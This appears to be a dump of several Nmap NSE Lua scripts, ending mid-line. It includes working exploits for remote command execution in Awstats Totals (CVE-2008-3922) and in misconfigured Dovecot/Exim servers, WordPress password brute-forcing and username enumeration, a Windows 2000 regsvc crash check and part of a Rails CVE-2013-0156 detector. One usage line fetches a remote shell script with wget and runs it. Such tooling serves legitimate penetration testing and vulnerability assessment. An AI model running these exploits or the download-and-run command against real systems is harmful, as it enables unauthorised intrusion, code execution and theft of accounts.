45 | }; 46 | 47 | hostrule = function(host) 48 | return smb.get_port(host) ~= nil 49 | end 50 | 51 | local VULNERABLE = 1 52 | local PATCHED = 2 53 | 54 | ---While writing smb-enum-sessions I discovered a repeatable null-pointer dereference 55 | -- in regsvc. I reported it to Microsoft, but because it's a simple DoS (and barely even that, because 56 | -- the service automatically restarts), and because it's only in Windows 2000, it isn't likely that they'll 57 | -- fix it. This function checks for that crash (by crashing the process). 58 | -- 59 | -- The crash occurs when the string sent to winreg_enumkey() function is null. 60 | -- 61 | --@param host The host object. 62 | --@return (status, result) If status is false, result is an error code; otherwise, result is either 63 | -- VULNERABLE for vulnerable or PATCHED for not vulnerable. 64 | function check_winreg_Enum_crash(host) 65 | local i, j 66 | local elements = {} 67 | local status, bind_result, smbstate 68 | 69 | -- Create the SMB session 70 | status, smbstate = msrpc.start_smb(host, msrpc.WINREG_PATH) 71 | if(status == false) then 72 | return false, smbstate 73 | end 74 | 75 | -- Bind to WINREG service 76 | status, bind_result = msrpc.bind(smbstate, msrpc.WINREG_UUID, msrpc.WINREG_VERSION, nil) 77 | if(status == false) then 78 | msrpc.stop_smb(smbstate) 79 | return false, bind_result 80 | end 81 | 82 | local openhku_result 83 | status, openhku_result = msrpc.winreg_openhku(smbstate) 84 | if(status == false) then 85 | msrpc.stop_smb(smbstate) 86 | return false, openhku_result 87 | end 88 | 89 | -- Loop through the keys under HKEY_USERS and grab the names 90 | local enumkey_result 91 | status, enumkey_result = msrpc.winreg_enumkey(smbstate, openhku_result['handle'], 0, nil) 92 | msrpc.stop_smb(smbstate) 93 | 94 | if(status == false) then 95 | return true, VULNERABLE 96 | end 97 | return true, PATCHED 98 | end 99 | 100 | action = function(host) 101 | local status, result, message 102 | local response = {} 103 | local vuln_report = vulns.Report:new(SCRIPT_NAME, host) 104 | local vuln_table = { 105 | title = 'Service regsvc in Microsoft Windows systems vulnerable to denial of service', 106 | state = vulns.STATE.NOT_VULN, 107 | description = [[ 108 | The service regsvc in Microsoft Windows 2000 systems is vulnerable to denial of service caused by a null deference 109 | pointer. This script will crash the service if it is vulnerable. This vulnerability was discovered by Ron Bowes 110 | while working on smb-enum-sessions. 111 | ]] 112 | } 113 | 114 | -- Check for a winreg_Enum crash 115 | status, result = check_winreg_Enum_crash(host) 116 | if(status == false) then 117 | vuln_table.state = vulns.STATE.NOT_VULN 118 | else 119 | if(result == VULNERABLE) then 120 | vuln_table.state = vulns.STATE.VULN 121 | else 122 | vuln_table.state = vulns.STATE.NOT_VULN 123 | end 124 | end 125 | return vuln_report:make_output(vuln_table) 126 | end 127 | -------------------------------------------------------------------------------- /scripts/http-awstatstotals-exec.nse: -------------------------------------------------------------------------------- 1 | local http = require "http" 2 | local io = require "io" 3 | local nmap = require "nmap" 4 | local shortport = require "shortport" 5 | local stdnse = require "stdnse" 6 | local string = require "string" 7 | 8 | description = [[ 9 | Exploits a remote code execution vulnerability in Awstats Totals 1.0 up to 1.14 and possibly other products based on it (CVE: 2008-3922). 10 | 11 | This vulnerability can be exploited through the GET variable sort. The script queries the web server with the command payload encoded using PHP's chr() function: 12 | ?sort={%24{passthru%28chr(117).chr(110).chr(97).chr(109).chr(101).chr(32).chr(45).chr(97)%29}}{%24{exit%28%29}} 13 | 14 | Common paths for Awstats Total: 15 | * /awstats/index.php 16 | * /awstatstotals/index.php 17 | * /awstats/awstatstotals.php 18 | 19 | References: 20 | * http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3922 21 | * http://www.exploit-db.com/exploits/17324/ 22 | ]] 23 | 24 | --- 25 | -- @usage 26 | -- nmap -sV --script http-awstatstotals-exec.nse --script-args 'http-awstatstotals-exec.cmd="uname -a", http-awstatstotals-exec.uri=/awstats/index.php' 27 | -- nmap -sV --script http-awstatstotals-exec.nse 28 | -- 29 | -- @output 30 | -- PORT STATE SERVICE REASON 31 | -- 80/tcp open http syn-ack 32 | -- | http-awstatstotals-exec.nse: 33 | -- |_Output for 'uname -a':Linux 2.4.19 #1 Son Apr 14 09:53:28 CEST 2002 i686 GNU/Linux 34 | -- 35 | -- @args http-awstatstotals-exec.uri Awstats Totals URI including path. Default: /index.php 36 | -- @args http-awstatstotals-exec.cmd Command to execute. Default: whoami 37 | -- @args http-awstatstotals-exec.outfile Output file. If set it saves the output in this file. 38 | --- 39 | -- Other useful args when running this script: 40 | -- http.useragent - User Agent to use in GET request 41 | -- 42 | 43 | author = "Paulino Calderon" 44 | license = "Same as Nmap--See http://nmap.org/book/man-legal.html" 45 | categories = {"vuln", "intrusive", "exploit"} 46 | 47 | 48 | portrule = shortport.http 49 | 50 | --default values 51 | local DEFAULT_CMD = "whoami" 52 | local DEFAULT_URI = "/index.php" 53 | 54 | --- 55 | --Writes string to file 56 | -- @param filename Filename to write 57 | -- @param content Content string 58 | -- @return boolean status 59 | -- @return string error 60 | --Taken from: hostmap.nse 61 | local function write_file(filename, contents) 62 | local f, err = io.open(filename, "w") 63 | if not f then 64 | return f, err 65 | end 66 | f:write(contents) 67 | f:close() 68 | return true 69 | end 70 | 71 | --- 72 | --Checks if Awstats Totals installation seems to be there 73 | -- @param host Host table 74 | -- @param port Port table 75 | -- @param path Path pointing to AWStats Totals 76 | -- @return true if awstats totals is found 77 | local function check_installation(host, port, path) 78 | local check_req = http.get(host, port, path) 79 | if not(http.response_contains(check_req, "AWStats")) then 80 | return false 81 | end 82 | return true 83 | end 84 | 85 | --- 86 | --MAIN 87 | --- 88 | action = function(host, port) 89 | local output = {} 90 | local uri = stdnse.get_script_args("http-awstatstotals-exec.uri") or DEFAULT_URI 91 | local cmd = stdnse.get_script_args("http-awstatstotals-exec.cmd") or DEFAULT_CMD 92 | local out = stdnse.get_script_args("http-awstatstotals-exec.outfile") 93 | 94 | --check for awstats signature 95 | local awstats_check = check_installation(host, port, uri) 96 | if not(awstats_check) then 97 | stdnse.print_debug(1, "%s:This does not look like Awstats Totals. Quitting.", SCRIPT_NAME) 98 | return 99 | end 100 | 101 | --Encode payload using PHP's chr() 102 | local encoded_payload = "" 103 | cmd:gsub(".", function(c) encoded_payload = encoded_payload .."chr("..string.byte(c)..")." end) 104 | if string.sub(encoded_payload, #encoded_payload) == "." then 105 | encoded_payload = string.sub(encoded_payload, 1, #encoded_payload-1) 106 | end 107 | local stealth_payload = "?sort={%24{passthru%28"..encoded_payload.."%29}}{%24{exit%28%29}}" 108 | 109 | --set payload and send request 110 | local req = http.get(host, port, uri .. stealth_payload) 111 | if req.status and req.status == 200 then 112 | output[#output+1] = string.format("\nOutput for '%s':%s", cmd, req.body) 113 | 114 | --if out set, save output to file 115 | if out then 116 | local status, err = write_file(out, req.body) 117 | if status then 118 | output[#output+1] = string.format("Output saved to %s\n", out) 119 | else 120 | output[#output+1] = string.format("Error saving output to %s: %s\n", out, err) 121 | end 122 | end 123 | 124 | else 125 | if nmap.verbosity()>= 2 then 126 | output[#output+1] = "[Error] Request did not return 200. Make sure your URI value is correct. A WAF might be blocking your request" 127 | end 128 | end 129 | 130 | --output 131 | if #output>0 then 132 | return stdnse.strjoin("\n", output) 133 | end 134 | end 135 | -------------------------------------------------------------------------------- /scripts/smtp-dovecot-exim-exec.nse: -------------------------------------------------------------------------------- 1 | description = [[ 2 | Attempts to exploit a remote command execution vulnerability in misconfigured Dovecot/Exim mail servers. 3 | 4 | It is important to note that the mail server will not return the output of the command. The mail server 5 | also wont allow space characters but they can be replaced with "${IFS}". Commands can also be 6 | concatenated with "``". The script takes care of the conversion automatically. 7 | 8 | References: 9 | * https://www.redteam-pentesting.de/en/advisories/rt-sa-2013-001/-exim-with-dovecot-typical-misconfiguration-leads-to-remote-command-execution 10 | * http://immunityproducts.blogspot.mx/2013/05/how-common-is-common-exim-and-dovecot.html 11 | * CVE not available yet 12 | ]] 13 | 14 | --- 15 | -- @usage nmap -sV --script smtp-dovecot-exim-exec --script-args smtp-dovecot-exim-exec.cmd="uname -a" 16 | -- @usage nmap -p586 --script smtp-dovecot-exim-exec --script-args smtp-dovecot-exim-exec.cmd="wget -O /tmp/p example.com/test.sh;bash /tmp/p" 17 | -- 18 | -- @output 19 | -- PORT STATE SERVICE REASON 20 | -- 465/tcp open smtps syn-ack 21 | -- |_smtp-dovecot-exim-exec: Malicious payload delivered:250 OK id=XXX 22 | -- 23 | -- @args smtp-dovecot-exim-exec.cmd Command to execute. Separate commands with ";". 24 | -- @args smtp-dovecot-exim-exec.auth Authentication scheme (Optional). 25 | -- @args smtp-dovecot-exim-exec.user Authentication username (Optional). 26 | -- @args smtp-dovecot-exim-exec.pwd Authentication password (Optional). 27 | -- @args smtp-dovecot-exim-exec.from Email address to use in the FROM field. Default: nmap+domain. (Optional). 28 | -- @args smtp-dovecot-exim-exec.to Email address to use in the TO field. Default: nmap@mailinator.com 29 | -- @args smtp-dovecot-exim-exec.timeout Timeout value. Default: 8000. (Optional) 30 | -- @args smtp-dovecot-exim-exec.domain Domain name to use. It attempts to set this field automatically. (Optional) 31 | --- 32 | 33 | author = "Paulino Calderon " 34 | license = "Same as Nmap--See http://nmap.org/book/man-legal.html" 35 | categories = {"exploit"} 36 | 37 | local smtp = require "smtp" 38 | local shortport = require "shortport" 39 | local stdnse = require "stdnse" 40 | 41 | portrule = shortport.port_or_service({25, 465, 587}, 42 | {"smtp", "smtps", "submission"}) 43 | 44 | 45 | action = function(host, port) 46 | local cmd = stdnse.get_script_args(SCRIPT_NAME..".cmd") or "uname" 47 | --Prepare payload 48 | cmd = string.gsub(cmd, " ", "${IFS}") 49 | cmd = string.gsub(cmd, ";", "``") 50 | 51 | local user = stdnse.get_script_args(SCRIPT_NAME..".user") or nil 52 | local pwd = stdnse.get_script_args(SCRIPT_NAME..".pwd") or nil 53 | local from = stdnse.get_script_args(SCRIPT_NAME..".from") or "nmap@"..smtp.get_domain(host) 54 | local to = stdnse.get_script_args(SCRIPT_NAME..".to") or "nmap@mailinator.com" 55 | local conn_timeout = stdnse.get_script_args(SCRIPT_NAME..".timeout") or 8000 56 | local smtp_domain = stdnse.get_script_args(SCRIPT_NAME..".domain") or smtp.get_domain(host) 57 | 58 | local smtp_opts = { 59 | ssl = true, timeout = conn_timeout, recv_before = true, lines = 1 60 | } 61 | local smtp_conn = smtp.connect(host, port, smtp_opts) 62 | 63 | local status, resp = smtp.ehlo(smtp_conn, smtp_domain) 64 | local auth_mech = stdnse.get_script_args(SCRIPT_NAME..".auth") or smtp.get_auth_mech(resp) 65 | if type(auth_mech) == "string" then 66 | auth_mech = { auth_mech } 67 | end 68 | 69 | if (user and pwd) then 70 | status = false 71 | stdnse.print_debug(1, "%s:Mail server requires authentication.", SCRIPT_NAME) 72 | for i, mech in ipairs(auth_mech) do 73 | stdnse.print_debug(1, "Trying to authenticate using the method:%s", mech) 74 | status, resp = smtp.login(smtp_conn, user, pwd, mech) 75 | if status then 76 | break 77 | end 78 | end 79 | if not(status) then 80 | stdnse.print_debug(1, "%s:Authentication failed using user '%s' and password '%s'", SCRIPT_NAME, user, pwd) 81 | return nil 82 | end 83 | end 84 | 85 | --Sends MAIL cmd and injects malicious payload 86 | local from_frags = stdnse.strsplit("@", from) 87 | local malicious_from_field = from_frags[1].."`"..cmd.."`@"..from_frags[2] 88 | stdnse.print_debug(1, "%s:Setting malicious MAIL FROM field to:%s", SCRIPT_NAME, malicious_from_field) 89 | status, resp = smtp.mail(smtp_conn, malicious_from_field) 90 | if not(status) then 91 | stdnse.print_debug(1, "%s:Payload failed:%s", SCRIPT_NAME, resp) 92 | return nil 93 | end 94 | 95 | --Sets recipient 96 | status, resp = smtp.recipient(smtp_conn, to) 97 | if not(status) then 98 | stdnse.print_debug(1, "%s:Cannot set recipient:%s", SCRIPT_NAME, resp) 99 | return nil 100 | end 101 | 102 | --Sets data and deliver email 103 | status, resp = smtp.datasend(smtp_conn, "nse") 104 | if status then 105 | return string.format("Malicious payload delivered:%s", resp) 106 | else 107 | stdnse.print_debug(1, "%s:Payload could not be delivered:%s", SCRIPT_NAME, resp) 108 | end 109 | return nil 110 | end 111 | -------------------------------------------------------------------------------- /old-scripts/http-wordpress-brute.nse: -------------------------------------------------------------------------------- 1 | description = [[ 2 | Performs a brute force password attack against Wordpress installations. 3 | 4 | This script uses the unpwdb and brute libraries to perform password guessing. Any successful guesses are 5 | stored using the credentials library. 6 | 7 | Wordpress default uri and form names: 8 | * Default uri:wp-login.php 9 | * Default uservar: log 10 | * Default passvar: pwd 11 | ]] 12 | 13 | --- 14 | -- @usage 15 | -- nmap -sV --script http-wordpress-brute 16 | -- nmap -sV --script http-wordpress-brute 17 | -- --script-args 'userdb=users.txt,passdb=passwds.txt,http-wordpress-brute.hostname=domain.com, 18 | -- http-wordpress-brute.threads=3,brute.firstonly=true' 19 | -- 20 | -- @output 21 | -- PORT STATE SERVICE REASON 22 | -- 80/tcp open http syn-ack 23 | -- | http-wordpress-brute: 24 | -- | Accounts 25 | -- | 0xdeadb33f:god => Login correct 26 | -- | Statistics 27 | -- |_ Perfomed 103 guesses in 17 seconds, average tps: 6 28 | -- 29 | -- @args http-wordpress-brute.uri points to the file 'wp-login.php'. Default /wp-login.php 30 | -- @args http-wordpress-brute.hostname sets the host header in case of virtual 31 | -- hosting 32 | -- @args http-wordpress-brute.uservar sets the http-variable name that holds the 33 | -- username used to authenticate. Default: log 34 | -- @args http-wordpress-brute.passvar sets the http-variable name that holds the 35 | -- password used to authenticate. Default: pwd 36 | -- @args http-wordpress-brute.threads sets the number of threads. Default: 3 37 | -- 38 | -- Other useful arguments when using this script are: 39 | -- * http.useragent = String - User Agent used in HTTP requests 40 | -- * brute.firstonly = Boolean - Stop attack when the first credentials are found 41 | -- * brute.mode = user/creds/pass - Username password iterator 42 | -- * passdb = String - Path to password list 43 | -- * userdb = String - Path to user list 44 | -- 45 | -- Based on Patrik Karlsson's http-form-brute 46 | -- 47 | 48 | author = "Paulino Calderon" 49 | license = "Same as Nmap--See http://nmap.org/book/man-legal.html" 50 | categories = {"intrusive", "auth"} 51 | 52 | require 'shortport' 53 | require 'http' 54 | require 'brute' 55 | require 'creds' 56 | 57 | portrule = shortport.http 58 | 59 | local DEFAULT_WP_URI = "/wp-login.php" 60 | local DEFAULT_WP_USERVAR = "log" 61 | local DEFAULT_WP_PASSVAR = "pwd" 62 | local DEFAULT_THREAD_NUM = 3 63 | 64 | --- 65 | --This class implements the Driver class from the Brute library 66 | --- 67 | Driver = { 68 | new = function(self, host, port, options) 69 | local o = {} 70 | setmetatable(o, self) 71 | self.__index = self 72 | o.host = stdnse.get_script_args('http-wordpress-brute.hostname') or host 73 | o.port = port 74 | o.uri = stdnse.get_script_args('http-wordpress-brute.uri') or DEFAULT_WP_URI 75 | o.options = options 76 | return o 77 | end, 78 | 79 | connect = function( self ) 80 | -- This will cause problems, as ther is no way for us to "reserve" 81 | -- a socket. We may end up here early with a set of credentials 82 | -- which won't be guessed until the end, due to socket exhaustion. 83 | return true 84 | end, 85 | 86 | login = function( self, username, password ) 87 | -- Note the no_cache directive 88 | stdnse.print_debug(2, "HTTP POST %s%s\n", self.host, self.uri) 89 | local response = http.post( self.host, self.port, self.uri, { no_cache = true }, nil, { [self.options.uservar] = username, [self.options.passvar] = password } ) 90 | -- This redirect is taking us to /wp-admin 91 | if response.status == 302 then 92 | local c = creds.Credentials:new( SCRIPT_NAME, self.host, self.port ) 93 | c:add(username, password, creds.State.VALID ) 94 | return true, brute.Account:new( username, password, "OPEN") 95 | end 96 | 97 | return false, brute.Error:new( "Incorrect password" ) 98 | end, 99 | 100 | disconnect = function( self ) 101 | return true 102 | end, 103 | 104 | check = function( self ) 105 | local response = http.get( self.host, self.port, self.uri ) 106 | stdnse.print_debug(1, "HTTP GET %s%s", stdnse.get_hostname(self.host),self.uri) 107 | -- Check if password field is there 108 | if ( response.status == 200 and response.body:match('type=[\'"]password[\'"]')) then 109 | stdnse.print_debug(1, "Initial check passed. Launching brute force attack") 110 | return true 111 | else 112 | stdnse.print_debug(1, "Initial check failed. Password field wasn't found") 113 | end 114 | 115 | return false 116 | end 117 | 118 | } 119 | --- 120 | --MAIN 121 | --- 122 | action = function( host, port ) 123 | local status, result, engine 124 | local uservar = stdnse.get_script_args('http-wordpress-brute.uservar') or DEFAULT_WP_USERVAR 125 | local passvar = stdnse.get_script_args('http-wordpress-brute.passvar') or DEFAULT_WP_PASSVAR 126 | local thread_num = stdnse.get_script_args("http-wordpress-brute.threads") or DEFAULT_THREAD_NUM 127 | 128 | engine = brute.Engine:new( Driver, host, port, { uservar = uservar, passvar = passvar } ) 129 | engine:setMaxThreads(thread_num) 130 | engine.options.script_name = SCRIPT_NAME 131 | status, result = engine:start() 132 | 133 | return result 134 | end 135 | -------------------------------------------------------------------------------- /scripts/http-wordpress-enum.nse: -------------------------------------------------------------------------------- 1 | local http = require "http" 2 | local io = require "io" 3 | local nmap = require "nmap" 4 | local shortport = require "shortport" 5 | local stdnse = require "stdnse" 6 | local string = require "string" 7 | 8 | description = [[ 9 | Enumerates usernames in Wordpress blog/CMS installations by exploiting an information disclosure vulnerability existing in versions 2.6, 3.1, 3.1.1, 3.1.3 and 3.2-beta2 and possibly others. 10 | 11 | Original advisory: 12 | * http://www.talsoft.com.ar/index.php/research/security-advisories/wordpress-user-id-and-user-name-disclosure 13 | ]] 14 | 15 | --- 16 | -- @usage 17 | -- nmap -p80 --script http-wordpress-enum 18 | -- nmap -sV --script http-wordpress-enum --script-args limit=50 19 | -- 20 | -- @output 21 | -- PORT STATE SERVICE REASON 22 | -- 80/tcp open http syn-ack 23 | -- | http-wordpress-enum: 24 | -- | Username found: admin 25 | -- | Username found: mauricio 26 | -- | Username found: cesar 27 | -- | Username found: lean 28 | -- | Username found: alex 29 | -- | Username found: ricardo 30 | -- |_Search stopped at ID #25. Increase the upper limit if necessary with 'http-wordpress-enum.limit' 31 | -- 32 | -- @args http-wordpress-enum.limit Upper limit for ID search. Default: 25 33 | -- @args http-wordpress-enum.basepath Base path to Wordpress. Default: / 34 | -- @args http-wordpress-enum.out If set it saves the username list in this file. 35 | --- 36 | 37 | author = "Paulino Calderon" 38 | license = "Same as Nmap--See http://nmap.org/book/man-legal.html" 39 | categories = {"auth", "intrusive", "vuln"} 40 | 41 | 42 | portrule = shortport.http 43 | 44 | --- 45 | -- Returns the username extracted from the url corresponding to the id passed 46 | -- If user id doesn't exists returns false 47 | -- @param host Host table 48 | -- @param port Port table 49 | -- @param path Base path to WP 50 | -- @param id User id 51 | -- @return false if not found otherwise it returns the username 52 | --- 53 | local function get_wp_user(host, port, path, id) 54 | stdnse.print_debug(2, "%s: Trying to get username with id %s", SCRIPT_NAME, id) 55 | local req = http.get(host, port, path.."?author="..id, { no_cache = true}) 56 | if req.status then 57 | stdnse.print_debug(1, "%s: User id #%s returned status %s", SCRIPT_NAME, id, req.status) 58 | if req.status == 301 then 59 | local _, _, user = string.find(req.header.location, 'https?://.*/.*/(.*)/') 60 | return user 61 | elseif req.status == 200 then 62 | -- Users with no posts get a 200 response, but the name is in an RSS link. 63 | -- http://seclists.org/nmap-dev/2011/q3/812 64 | local _, _, user = string.find(req.body, 'https?://.-/author/(.-)/feed/') 65 | return user 66 | end 67 | end 68 | return false 69 | end 70 | 71 | --- 72 | --Returns true if WP installation exists. 73 | --We assume an installation exists if wp-login.php is found 74 | --@param host Host table 75 | --@param port Port table 76 | --@param path Path to WP 77 | --@return True if WP was found 78 | -- 79 | local function check_wp(host, port, path) 80 | stdnse.print_debug(2, "%s:Checking %swp-login.php ", SCRIPT_NAME, path) 81 | local req = http.get(host, port, path.."wp-login.php", {no_cache=true}) 82 | if req.status and req.status == 200 then 83 | return true 84 | end 85 | return false 86 | end 87 | 88 | --- 89 | --Writes string to file 90 | --Taken from: hostmap.nse 91 | --@param filename Target filename 92 | --@param contents String to save 93 | --@return true when successful 94 | local function write_file(filename, contents) 95 | local f, err = io.open(filename, "w") 96 | if not f then 97 | return f, err 98 | end 99 | f:write(contents) 100 | f:close() 101 | return true 102 | end 103 | 104 | 105 | --- 106 | --MAIN 107 | --- 108 | action = function(host, port) 109 | local basepath = stdnse.get_script_args("http-wordpress-enum.basepath") or "/" 110 | local limit = stdnse.get_script_args("http-wordpress-enum.limit") or 25 111 | local filewrite = stdnse.get_script_args("http-wordpress-enum.out") 112 | local output = {""} 113 | local users = {} 114 | --First, we check this is WP 115 | if not(check_wp(host, port, basepath)) then 116 | if nmap.verbosity() >= 2 then 117 | return "[Error] Wordpress installation was not found. We couldn't find wp-login.php" 118 | else 119 | return 120 | end 121 | end 122 | 123 | --Incrementing ids to enum users 124 | for i=1, tonumber(limit) do 125 | local user = get_wp_user(host, port, basepath, i) 126 | if user then 127 | stdnse.print_debug(1, "%s: Username found -> %s", SCRIPT_NAME, user) 128 | output[#output+1] = string.format("Username found: %s", user) 129 | users[#users+1] = user 130 | end 131 | end 132 | 133 | if filewrite and #users>0 then 134 | local status, err = write_file(filewrite, stdnse.strjoin("\n", users)) 135 | if status then 136 | output[#output+1] = string.format("Users saved to %s\n", filewrite) 137 | else 138 | output[#output+1] = string.format("Error saving %s: %s\n", filewrite, err) 139 | end 140 | end 141 | 142 | if #output > 1 then 143 | output[#output+1] = string.format("Search stopped at ID #%s. Increase the upper limit if necessary with 'http-wordpress-enum.limit'", limit) 144 | return stdnse.strjoin("\n", output) 145 | end 146 | end 147 | -------------------------------------------------------------------------------- /scripts/http-wordpress-brute.nse: -------------------------------------------------------------------------------- 1 | local brute = require "brute" 2 | local creds = require "creds" 3 | local http = require "http" 4 | local shortport = require "shortport" 5 | local stdnse = require "stdnse" 6 | 7 | description = [[ 8 | performs brute force password auditing against Wordpress CMS/blog installations. 9 | 10 | This script uses the unpwdb and brute libraries to perform password guessing. Any successful guesses are 11 | stored using the credentials library. 12 | 13 | Wordpress default uri and form names: 14 | * Default uri:wp-login.php 15 | * Default uservar: log 16 | * Default passvar: pwd 17 | ]] 18 | 19 | --- 20 | -- @usage 21 | -- nmap -sV --script http-wordpress-brute 22 | -- nmap -sV --script http-wordpress-brute 23 | -- --script-args 'userdb=users.txt,passdb=passwds.txt,http-wordpress-brute.hostname=domain.com, 24 | -- http-wordpress-brute.threads=3,brute.firstonly=true' 25 | -- 26 | -- @output 27 | -- PORT STATE SERVICE REASON 28 | -- 80/tcp open http syn-ack 29 | -- | http-wordpress-brute: 30 | -- | Accounts 31 | -- | 0xdeadb33f:god => Login correct 32 | -- | Statistics 33 | -- |_ Perfomed 103 guesses in 17 seconds, average tps: 6 34 | -- 35 | -- @args http-wordpress-brute.uri points to the file 'wp-login.php'. Default /wp-login.php 36 | -- @args http-wordpress-brute.hostname sets the host header in case of virtual 37 | -- hosting 38 | -- @args http-wordpress-brute.uservar sets the http-variable name that holds the 39 | -- username used to authenticate. Default: log 40 | -- @args http-wordpress-brute.passvar sets the http-variable name that holds the 41 | -- password used to authenticate. Default: pwd 42 | -- @args http-wordpress-brute.threads sets the number of threads. Default: 3 43 | -- 44 | -- Other useful arguments when using this script are: 45 | -- * http.useragent = String - User Agent used in HTTP requests 46 | -- * brute.firstonly = Boolean - Stop attack when the first credentials are found 47 | -- * brute.mode = user/creds/pass - Username password iterator 48 | -- * passdb = String - Path to password list 49 | -- * userdb = String - Path to user list 50 | -- 51 | -- Based on Patrik Karlsson's http-form-brute 52 | -- 53 | 54 | author = "Paulino Calderon" 55 | license = "Same as Nmap--See http://nmap.org/book/man-legal.html" 56 | categories = {"intrusive", "brute"} 57 | 58 | 59 | portrule = shortport.http 60 | 61 | local DEFAULT_WP_URI = "/wp-login.php" 62 | local DEFAULT_WP_USERVAR = "log" 63 | local DEFAULT_WP_PASSVAR = "pwd" 64 | local DEFAULT_THREAD_NUM = 3 65 | 66 | --- 67 | --This class implements the Driver class from the Brute library 68 | --- 69 | Driver = { 70 | new = function(self, host, port, options) 71 | local o = {} 72 | setmetatable(o, self) 73 | self.__index = self 74 | o.host = stdnse.get_script_args('http-wordpress-brute.hostname') or host 75 | o.port = port 76 | o.uri = stdnse.get_script_args('http-wordpress-brute.uri') or DEFAULT_WP_URI 77 | o.options = options 78 | return o 79 | end, 80 | 81 | connect = function( self ) 82 | -- This will cause problems, as ther is no way for us to "reserve" 83 | -- a socket. We may end up here early with a set of credentials 84 | -- which won't be guessed until the end, due to socket exhaustion. 85 | return true 86 | end, 87 | 88 | login = function( self, username, password ) 89 | -- Note the no_cache directive 90 | stdnse.print_debug(2, "HTTP POST %s%s\n", self.host, self.uri) 91 | local response = http.post( self.host, self.port, self.uri, { no_cache = true }, nil, { [self.options.uservar] = username, [self.options.passvar] = password } ) 92 | -- This redirect is taking us to /wp-admin 93 | if response.status == 302 then 94 | local c = creds.Credentials:new( SCRIPT_NAME, self.host, self.port ) 95 | c:add(username, password, creds.State.VALID ) 96 | return true, brute.Account:new( username, password, "OPEN") 97 | end 98 | 99 | return false, brute.Error:new( "Incorrect password" ) 100 | end, 101 | 102 | disconnect = function( self ) 103 | return true 104 | end, 105 | 106 | check = function( self ) 107 | local response = http.get( self.host, self.port, self.uri ) 108 | stdnse.print_debug(1, "HTTP GET %s%s", stdnse.get_hostname(self.host),self.uri) 109 | -- Check if password field is there 110 | if ( response.status == 200 and response.body:match('type=[\'"]password[\'"]')) then 111 | stdnse.print_debug(1, "Initial check passed. Launching brute force attack") 112 | return true 113 | else 114 | stdnse.print_debug(1, "Initial check failed. Password field wasn't found") 115 | end 116 | 117 | return false 118 | end 119 | 120 | } 121 | --- 122 | --MAIN 123 | --- 124 | action = function( host, port ) 125 | local status, result, engine 126 | local uservar = stdnse.get_script_args('http-wordpress-brute.uservar') or DEFAULT_WP_USERVAR 127 | local passvar = stdnse.get_script_args('http-wordpress-brute.passvar') or DEFAULT_WP_PASSVAR 128 | local thread_num = stdnse.get_script_args("http-wordpress-brute.threads") or DEFAULT_THREAD_NUM 129 | 130 | engine = brute.Engine:new( Driver, host, port, { uservar = uservar, passvar = passvar } ) 131 | engine:setMaxThreads(thread_num) 132 | engine.options.script_name = SCRIPT_NAME 133 | status, result = engine:start() 134 | 135 | return result 136 | end 137 | -------------------------------------------------------------------------------- /scripts/http-vuln-cve2013-0156.nse: -------------------------------------------------------------------------------- 1 | description = [[ 2 | Detects Ruby on Rails servers vulnerable to object injection, remote command executions and denial of service attacks. (CVE-2013-0156) 3 | 4 | All Ruby on Rails versions before 2.3.15, 3.0.x before 3.0.19, 3.1.x before 3.1.10, and 3.2.x before 3.2.11 are vulnerable. This script 5 | sends 3 harmless yaml payloads to detect vulnerable installations. If the malformed object receives a status 500 response, the server 6 | is processing YAML objects and therefore is likely vulnerable. 7 | 8 | References: 9 | * https://community.rapid7.com/community/metasploit/blog/2013/01/10/exploiting-ruby-on-rails-with-metasploit-cve-2013-0156', 10 | * https://groups.google.com/forum/?fromgroups=#!msg/rubyonrails-security/61bkgvnSGTQ/nehwjA8tQ8EJ', 11 | * http://cvedetails.com/cve/2013-0156/ 12 | 13 | TODO: 14 | * Add argument to exploit cmd exec vuln 15 | ]] 16 | 17 | --- 18 | -- @usage 19 | -- nmap -sV --script http-vuln-cve2013-0156 20 | -- nmap -sV --script http-vuln-cve2013-0156 --script-args uri="/test/" 21 | -- 22 | -- @output 23 | -- PORT STATE SERVICE REASON 24 | -- 80/tcp open http syn-ack 25 | -- | http-vuln-cve2013-0156: 26 | -- | VULNERABLE: 27 | -- | Parameter parsing vulnerabilities in several versions of Ruby on Rails allow object injection, remote command execution and Denial Of Service attacks (CVE-2013-0156) 28 | -- | State: VULNERABLE 29 | -- | Risk factor: High 30 | -- | Description: 31 | -- | All Ruby on Rails versions before 2.3.15, 3.0.x before 3.0.19, 3.1.x before 3.1.10, and 3.2.x before 3.2.11 are vulnerable to object injection, remote command execution and denial of service attacks. 32 | -- | The attackers don't need to be authenticated to exploit these vulnerabilities. 33 | -- | 34 | -- | References: 35 | -- | https://groups.google.com/forum/?fromgroups=#!msg/rubyonrails-security/61bkgvnSGTQ/nehwjA8tQ8EJ 36 | -- | https://community.rapid7.com/community/metasploit/blog/2013/01/10/exploiting-ruby-on-rails-with-metasploit-cve-2013-0156 37 | -- |_ http://cvedetails.com/cve/2013-0156/ 38 | -- 39 | -- @args http-vuln-cve2013-0156.uri Basepath URI (default: /). 40 | --- 41 | 42 | author = "Paulino Calderon " 43 | license = "Same as Nmap--See http://nmap.org/book/man-legal.html" 44 | categories = {"exploit","vuln"} 45 | 46 | local http = require "http" 47 | local shortport = require "shortport" 48 | local stdnse = require "stdnse" 49 | local string = require "string" 50 | local vulns = require "vulns" 51 | 52 | portrule = shortport.http 53 | 54 | local PAYLOAD_OK = [=[ 55 | ]=] 58 | 59 | local PAYLOAD_TIME = [=[ 60 | ]=] 64 | 65 | local PAYLOAD_MALFORMED = [=[ 66 | 69 | ]=] 70 | 71 | --- 72 | --detect(host, port, uri) 73 | --Sends 3 payloads where one of them is malformed. Status 500 indicates that yaml parsing is enabled. 74 | --- 75 | local function detect(host, port, uri) 76 | local opts = {header={}} 77 | opts["header"]["Content-type"] = 'application/xml' 78 | 79 | local req_ok = http.post(host, port, uri, opts, nil, PAYLOAD_OK) 80 | local req_time = http.post(host, port, uri, opts, nil, PAYLOAD_TIME) 81 | stdnse.print_debug(2, "%s:First request returned status %d. Second request returned status %d", SCRIPT_NAME, req_ok.status, req_time.status) 82 | if req_ok.status == 200 and req_time.status == 200 then 83 | local req_malformed = http.post(host, port, uri, opts, nil, PAYLOAD_MALFORMED) 84 | stdnse.print_debug(2, "%s:Malformed request returned status %d", SCRIPT_NAME, req_malformed.status) 85 | if req_malformed.status == 500 then 86 | return true 87 | end 88 | end 89 | 90 | return false 91 | end 92 | 93 | --- 94 | --MAIN 95 | action = function(host, port) 96 | local uri = 